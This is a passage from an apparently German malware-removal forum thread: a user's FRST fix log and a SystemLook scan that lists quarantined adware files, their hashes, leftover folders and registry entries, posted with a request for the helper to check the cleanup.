DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 5399744 B
Java, Flash, Steam htmlcache => 131072 B
Windows/system/drivers => 10080251 B
Edge => 1401667 B
Chrome => 0 B
Firefox => 22923800 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 128 B
systemprofile32 => 128 B
LocalService => 5714 B
NetworkService => 16866 B
Nela => 1483978976 B

RecycleBin => 376807 B
EmptyTemp: => 1.4 GB temporäre Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 15:44:53 ====
Dabei bin ich mir nicht sicher, ob ich das korrekt gemacht habe. Ich habe den Inhalt kopiert, aber nirgends eingefüt. Dann Das ,,Entfernen'' gestartet und das kam raus. Bitte etwas kritischer da schauen, ob es richtig ist.

Systemlook1:
Code:
SystemLook 30.07.11 by jpshortstuff
Log created at 15:51 on 03/06/2017 by ****
Administrator - Elevation successful

========== filefind ==========

Searching for "*AppTrailers*"
C:\AdwCleaner\quarantine\files\avwlakeqxnokhjivcwalmlurjwixdudt\AppTrailers.lnk        --a---- 1911 bytes        [22:07 02/06/2017]        [15:05 02/06/2017] B8B3A564E4EEA0A9905630E805CDE6B4
C:\AdwCleaner\quarantine\files\lqmrvzvqnmzjplbcowmvmyiqxgrgkzkh\AppTrailers.exe        --a---- 47836328 bytes        [22:07 02/06/2017]        [09:21 01/06/2017] B1FC3BDC2EC18ED35A05199D2C0CE7FE

Searching for "*AdvinstAnalytics*"
No files found.

Searching for "*PC Clean Plus*"
C:\AdwCleaner\quarantine\files\egearktccngwruowpnfwvzcexflwglnb\PC Clean Plus entfernen.lnk        --a---- 1135 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] 8BC4148187C8D67C605A9B8BB8A3991A
C:\AdwCleaner\quarantine\files\egearktccngwruowpnfwvzcexflwglnb\PC Clean Plus.lnk        --a---- 1150 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] 084F0F3960FDD275B807DA5FA1B0FFB3
C:\AdwCleaner\quarantine\files\egearktccngwruowpnfwvzcexflwglnb\Register PC Clean Plus.lnk        --a---- 1176 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] 28910CE91CCBEBD0A5B0F67933D04489

Searching for "*gplyra*"
C:\AdwCleaner\quarantine\files\tyxyjgmbwhltgyerkxxfrqlsjnjqtjgk\gplyra-uninst.exe        --a---- 68114 bytes        [22:07 02/06/2017]        [15:05 02/06/2017] EDA2E8A274B7D647F8CB3DD5458D8928
C:\AdwCleaner\quarantine\files\tyxyjgmbwhltgyerkxxfrqlsjnjqtjgk\gplyra\gplyra.conf        --a---- 598 bytes        [22:07 02/06/2017]        [18:35 24/04/2017] 96943192FF17AF5BE2EC581EF2B77E2D
C:\AdwCleaner\quarantine\files\tyxyjgmbwhltgyerkxxfrqlsjnjqtjgk\gplyra\gplyra.exe        --a---- 2794496 bytes        [22:07 02/06/2017]        [00:45 24/04/2017] 33EB1B76D3EBDCF0DC2A3216867567EB

Searching for "*System Healer*"
C:\AdwCleaner\quarantine\files\tnioyradepszybymffkrxbepgngbslya\Launch System Healer.lnk        --a---- 1148 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] CD458D576509242E60B4485BF8D0A174
C:\AdwCleaner\quarantine\files\tnioyradepszybymffkrxbepgngbslya\System Healer on the Web.url        --a---- 53 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] A5A6BF5AC37E76E9EE173CD1A893B520

Searching for "*HDWallPaper*"
C:\AdwCleaner\quarantine\files\iuxepoixlcmlalmcvcnwwygyadbsdsrm\HDWallPaper.exe        --a---- 2345392 bytes        [22:07 02/06/2017]        [13:56 10/04/2017] FADC4F2220113642D8D898812A79185D
C:\AdwCleaner\quarantine\files\pzzvnbdrhtbxifyitenbzqtiqxaxpnuo\HDWallPaper.lnk        --a---- 1136 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] 1CE64938C5306631DA94619383C5A6B3

Searching for "*Interstatnogui*"
C:\AdwCleaner\quarantine\files\vdjmrkmvghomqncescxddfrjxgjvrypm\interstatnogui.exe        --a---- 3023664 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] DFBC620DF9F7DF3C7FA01FAA7FBC908D

Searching for "*devnull*"
No files found.

Searching for "*Noobzo*"
No files found.

Searching for "*YeaDesktop*"
C:\AdwCleaner\quarantine\files\epfamfldedxlxvnvpvkktmkpzgqqbhap\YeaDesktop.exe        --a---- 3423744 bytes        [22:08 02/06/2017]        [11:10 27/05/2017] 6600E6EA30C7F64F99F787EE87FD0F40
C:\AdwCleaner\quarantine\files\ijmiazxzvttuqlgtvvwxbnhzsdrsfiqr\Uninstall YeaDesktop.lnk        --a---- 1114 bytes        [22:07 02/06/2017]        [15:05 02/06/2017] DFC4099FCF6FD06DB6E017CE83C71DC5
C:\AdwCleaner\quarantine\files\ijmiazxzvttuqlgtvvwxbnhzsdrsfiqr\YeaDesktop.lnk        --a---- 1124 bytes        [22:07 02/06/2017]        [15:05 02/06/2017] 655543059E0E8C6FA8F9D0D804069921

Searching for "*VideoMemoryDiagnostic*"
No files found.

Searching for "*ProxyGate*"
C:\AdwCleaner\quarantine\files\gayxchxnzlhhwwyfxayknabryfwajxjy\ProxyGate.exe        --a---- 1447592 bytes        [22:07 02/06/2017]        [20:43 09/03/2017] 5E573D1F8A45D4204AA252EB40692D39

Searching for "*pccleanplus*"
C:\AdwCleaner\quarantine\files\acvaqzajvzubcurffirvdwufeilgthfg\PCCleanPlus.exe        --a---- 8929960 bytes        [22:07 02/06/2017]        [17:23 05/01/2017] 760FAD86E4865B759028DB14E7790F57
C:\AdwCleaner\quarantine\files\vgiwgcowpncqiemriqhtqenbwnfpushu\pccleanplus.exe        --a---- 4121216 bytes        [22:07 02/06/2017]        [15:04 02/06/2017] 95ACBB2A0ADEA445D7B09596F4CD703A

Searching for "*Maoha*"
No files found.

Searching for "*SystemHealer*"
C:\AdwCleaner\quarantine\files\jlhmrrlrlmcfvqbocaftxtdvsqmskzcm\SystemHealer.exe        --a---- 4060832 bytes        [22:07 02/06/2017]        [10:19 26/12/2016] 6B47287182EE839E55808DC5663E58C4
C:\AdwCleaner\quarantine\files\jlhmrrlrlmcfvqbocaftxtdvsqmskzcm\SystemHealer.ini        --a---- 874 bytes        [22:07 02/06/2017]        [22:03 02/06/2017] 1405F4EBF93D644AD87A5149730A82D7

Searching for "*DownloadProtect*"
No files found.

Searching for "*DPBHO*"
No files found.

Searching for "*WajIEnhance*"
No files found.

Searching for "*SwytShop*"
No files found.

Searching for "*JiSuZip*"
No files found.

Searching for "*jhdbca*"
No files found.

Searching for "*SearchModule*"
No files found.

Searching for "*OtherSearch*"
C:\Program Files (x86)\Overwolf\0.104.210.0\Purplizer\ca-certs\OtherSearch Inc CA 2.pem        --a---- 1111 bytes        [15:04 02/06/2017]        [22:02 02/06/2017] 17CC7E808D81AFF4547BF896B8F3FB4F

Searching for "*initialpage123*"
No files found.

Searching for "*Soci2Sear*"
No files found.

Searching for "*pchandller*"
C:\Users\****\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\pchandller.exe.log        --a---- 388 bytes        [15:04 02/06/2017]        [15:04 02/06/2017] FBFA332F24C2B0EDE5B060D0FEC9FD53

Searching for "*CKADOLEATGY NODIFIER*"
No files found.

Searching for "*REERKUCULTPRIFERY*"
No files found.

Searching for "*Ckadoleatgy Nodifier*"
No files found.

========== folderfind ==========

Searching for "*AppTrailers*"
No folders found.

Searching for "*AdvinstAnalytics*"
C:\Users\Default\AppData\Local\AdvinstAnalytics        d------        [16:14 02/06/2017]

Searching for "*PC Clean Plus*"
No folders found.

Searching for "*gplyra*"
C:\AdwCleaner\quarantine\files\tyxyjgmbwhltgyerkxxfrqlsjnjqtjgk\gplyra        d------        [22:07 02/06/2017]

Searching for "*System Healer*"
No folders found.

Searching for "*HDWallPaper*"
No folders found.

Searching for "*Interstatnogui*"
No folders found.

Searching for "*devnull*"
No folders found.

Searching for "*Noobzo*"
No folders found.

Searching for "*YeaDesktop*"
No folders found.

Searching for "*VideoMemoryDiagnostic*"
No folders found.

Searching for "*ProxyGate*"
No folders found.

Searching for "*pccleanplus*"
No folders found.

Searching for "*Maoha*"
C:\FRST\Quarantine\C\Program Files (x86)\Maoha        d------        [15:05 02/06/2017]

Searching for "*SystemHealer*"
No folders found.

Searching for "*DownloadProtect*"
No folders found.

Searching for "*DPBHO*"
No folders found.

Searching for "*WajIEnhance*"
No folders found.

Searching for "*SwytShop*"
No folders found.

Searching for "*JiSuZip*"
C:\FRST\Quarantine\C\Program Files (x86)\Maoha\JiSuZip        d------        [15:05 02/06/2017]

Searching for "*jhdbca*"
No folders found.

Searching for "*SearchModule*"
No folders found.

Searching for "*OtherSearch*"
No folders found.

Searching for "*initialpage123*"
No folders found.

Searching for "*Soci2Sear*"
No folders found.

Searching for "*pchandller*"
No folders found.

Searching for "*CKADOLEATGY NODIFIER*"
No folders found.

Searching for "*REERKUCULTPRIFERY*"
C:\Users\****\AppData\Roaming\Reerkucultprifery        d------        [15:04 02/06/2017]

Searching for "*Ckadoleatgy Nodifier*"
No folders found.

========== regfind ==========

Searching for "AppTrailers"
No data found.

Searching for "AdvinstAnalytics"
No data found.

Searching for "PC Clean Plus"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\65de65f2_0]
@="{2}.\\?\hdaudio#func_01&ven_10ec&dev_0269&subsys_1558870b&rev_1002#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\singlelineouttopo/00010001|\Device\HarddiskVolume4\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe%b{00000000-0000-0000-0000-000000000000}"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"21"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\PC Clean Plus entfernen.lnk C:\Program Files (x86)\PC Clean Plus\unins000.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"22"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"23"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\Register PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe openregister"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\65de65f2_0]
@="{2}.\\?\hdaudio#func_01&ven_10ec&dev_0269&subsys_1558870b&rev_1002#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\singlelineouttopo/00010001|\Device\HarddiskVolume4\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe%b{00000000-0000-0000-0000-000000000000}"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"21"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\PC Clean Plus entfernen.lnk C:\Program Files (x86)\PC Clean Plus\unins000.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"22"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"23"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\Register PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe openregister"

Searching for "gplyra"
No data found.

Searching for "System Healer"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"25"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\Launch System Healer.lnk C:\Program Files (x86)\SystemHealer\SystemHealer.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"25"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\Launch System Healer.lnk C:\Program Files (x86)\SystemHealer\SystemHealer.exe"

Searching for "HDWallPaper"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"24"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HDWallPaper\HDWallPaper.lnk C:\Program Files (x86)\HDWallPaper\HDWallPaper.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\HDWallpaper]
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"24"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HDWallPaper\HDWallPaper.lnk C:\Program Files (x86)\HDWallPaper\HDWallPaper.exe"

Searching for "Interstatnogui"
[HKEY_CURRENT_USER\Software\Classes\Applications\interstatnogui.exe]
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Classes\Applications\interstatnogui.exe]
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003_Classes\Applications\interstatnogui.exe]

Searching for "devnull"
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
"C:\Program Files (x86)\devnull\NetAdapterUpdate\NetAdapterUpdate.exe"="~ RUNASADMIN"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\931744D05C8C1604B8A4F0EB19691513\SourceList]
"LastUsedSource"="n;1;C:\AppData\Roaming\devnull\NetAdapter 1.6.1\install\1965131\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\931744D05C8C1604B8A4F0EB19691513\SourceList\Net]
"1"="C:\AppData\Roaming\devnull\NetAdapter 1.6.1\install\1965131\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\ECA4AC87FC7DB8142B21E81528B265E6\SourceList]
"LastUsedSource"="n;1;C:\Users\****\AppData\Roaming\devnull\NetAdapterUpdate 2.3.5\install\22B566E\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\ECA4AC87FC7DB8142B21E81528B265E6\SourceList\Net]
"1"="C:\Users\****\AppData\Roaming\devnull\NetAdapterUpdate 2.3.5\install\22B566E\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders]
"C:\Program Files (x86)\devnull\NetAdapterUpdate\"=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders]
"C:\Program Files (x86)\devnull\"=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders]
"C:\Program Files (x86)\devnull\NetAdapter\"=""
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\064CD2CD75211E34192E859AD090761F]
"931744D05C8C1604B8A4F0EB19691513"="C:\Program Files (x86)\devnull\NetAdapter\service.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\27E516B0A8248C0479364C6AA9D24541]
"ECA4AC87FC7DB8142B21E81528B265E6"="02:\Software\devnull\NetAdapterUpdate\Uninstall"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2AF263CB9EA076246990135FC17BE492]
"931744D05C8C1604B8A4F0EB19691513"="C:\Program Files (x86)\devnull\NetAdapter\NetAdapter.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2B00864D015CC5446A1160944A231059]
"931744D05C8C1604B8A4F0EB19691513"="C:\Program Files (x86)\devnull\NetAdapter\NetAdapterServiceRunner.vbs"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\307D253A70CB21E43A4374E451D0A397]
"931744D05C8C1604B8A4F0EB19691513"="02:\Software\devnull\NetAdapter\Version"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3CD3339A3CB57104BBD499982ABE671C]
"ECA4AC87FC7DB8142B21E81528B265E6"="02:\Software\devnull\NetAdapterUpdate\Version"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\490C94ABF3FE02B4B882A7C142DCA9A0]
"ECA4AC87FC7DB8142B21E81528B265E6"="02:\Software\devnull\{78CA4ACE-D7CF-418B-B212-8E51822B566E}\AI_IA_ENABLE"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\51AA39B5509467246A1980FF82CB2CA5]
"931744D05C8C1604B8A4F0EB19691513"="01*71*\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\C:\Program Files (x86)\devnull\NetAdapter\NetAdapter.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\78C3911E7B1A1B244A3525B481DF51AB]
"ECA4AC87FC7DB8142B21E81528B265E6"="C:\Program Files (x86)\devnull\NetAdapterUpdate\updater.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C5E0BF6B88796ED4698E84C44FF06ABF]
"931744D05C8C1604B8A4F0EB19691513"="02:\Software\devnull\NetAdapter\Uninstall"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D26AEAC5E120E8E428BA00200843BB25]
"931744D05C8C1604B8A4F0EB19691513"="02:\Software\devnull\{0D447139-C8C5-4061-8B4A-0FBE91965131}\AI_IA_ENABLE"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D28B6E750EEDE5E469B7C3749DFD17E9]
"ECA4AC87FC7DB8142B21E81528B265E6"="C:\Program Files (x86)\devnull\NetAdapterUpdate\NetAdapterUpdate.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEB2302CB75968B4AA5F1F6D7E8D4919]
"931744D05C8C1604B8A4F0EB19691513"="02:\Software\devnull\NetAdapter\ServiceName"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\931744D05C8C1604B8A4F0EB19691513\InstallProperties]
"InstallLocation"="C:\Program Files (x86)\devnull\NetAdapter\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\931744D05C8C1604B8A4F0EB19691513\InstallProperties]
"InstallSource"="C:\AppData\Roaming\devnull\NetAdapter 1.6.1\install\1965131\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\931744D05C8C1604B8A4F0EB19691513\InstallProperties]
"Publisher"="devnull"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\ECA4AC87FC7DB8142B21E81528B265E6\InstallProperties]
"InstallLocation"="C:\Program Files (x86)\devnull\NetAdapterUpdate\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\ECA4AC87FC7DB8142B21E81528B265E6\InstallProperties]
"InstallSource"="C:\Users\****\AppData\Roaming\devnull\NetAdapterUpdate 2.3.5\install\22B566E\"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\ECA4AC87FC7DB8142B21E81528B265E6\InstallProperties]
"Publisher"="devnull"
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{0D447139-C8C5-4061-8B4A-0FBE91965131}]
"InstallLocation"="C:\Program Files (x86)\devnull\NetAdapter\"
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{0D447139-C8C5-4061-8B4A-0FBE91965131}]
"InstallSource"="C:\AppData\Roaming\devnull\NetAdapter 1.6.1\install\1965131\"
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{0D447139-C8C5-4061-8B4A-0FBE91965131}]
"Publisher"="devnull"
[HKEY_USERS\.DEFAULT\Software\Caphyon\Advanced Installer\XML Config\{0D447139-C8C5-4061-8B4A-0FBE91965131}]
"C:\Program Files (x86)\devnull\NetAdapter\service.xml"="*"
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
"C:\Program Files (x86)\devnull\NetAdapter\NetAdapter.exe"="~ RUNASADMIN"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
"C:\Program Files (x86)\devnull\NetAdapterUpdate\NetAdapterUpdate.exe"="~ RUNASADMIN"
[HKEY_USERS\S-1-5-18\Software\Caphyon\Advanced Installer\XML Config\{0D447139-C8C5-4061-8B4A-0FBE91965131}]
"C:\Program Files (x86)\devnull\NetAdapter\service.xml"="*"
[HKEY_USERS\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers]
"C:\Program Files (x86)\devnull\NetAdapter\NetAdapter.exe"="~ RUNASADMIN"

Searching for "Noobzo"
No data found.

Searching for "YeaDesktop"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"29"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YeaDesktop\Uninstall YeaDesktop.lnk C:\Program Files (x86)\YeaDesktop\unins000.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"30"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YeaDesktop\YeaDesktop.lnk C:\Program Files (x86)\YeaDesktop\YeaDesktop.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"29"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YeaDesktop\Uninstall YeaDesktop.lnk C:\Program Files (x86)\YeaDesktop\unins000.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"30"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YeaDesktop\YeaDesktop.lnk C:\Program Files (x86)\YeaDesktop\YeaDesktop.exe"

Searching for "VideoMemoryDiagnostic"
No data found.

Searching for "ProxyGate"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{3bbe95d4-c53f-11d1-b3a2-00a0c9083365}]
@="ITipProxyGatewaySink"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{3bbe95d5-c53f-11d1-b3a2-00a0c9083365}]
@="ITipProxyGateway"

Searching for "pccleanplus"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\65de65f2_0]
@="{2}.\\?\hdaudio#func_01&ven_10ec&dev_0269&subsys_1558870b&rev_1002#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\singlelineouttopo/00010001|\Device\HarddiskVolume4\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe%b{00000000-0000-0000-0000-000000000000}"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"22"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"23"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\Register PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe openregister"
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name"="PCCleanPlus.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\65de65f2_0]
@="{2}.\\?\hdaudio#func_01&ven_10ec&dev_0269&subsys_1558870b&rev_1002#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\singlelineouttopo/00010001|\Device\HarddiskVolume4\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe%b{00000000-0000-0000-0000-000000000000}"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"22"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"23"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Clean Plus\Register PC Clean Plus.lnk C:\Program Files (x86)\PC Clean Plus\PCCleanPlus.exe openregister"

Searching for "Maoha"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"31"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩\卸载极速压缩.lnk C:\Program Files (x86)\Maoha\JiSuZip\Uninstall.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.001\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.001\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.002\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.002\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.003\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.003\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.004\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.004\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.005\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.005\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.006\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.006\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.007\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.007\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.008\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.008\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.009\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.009\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.01\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.01\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.010\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
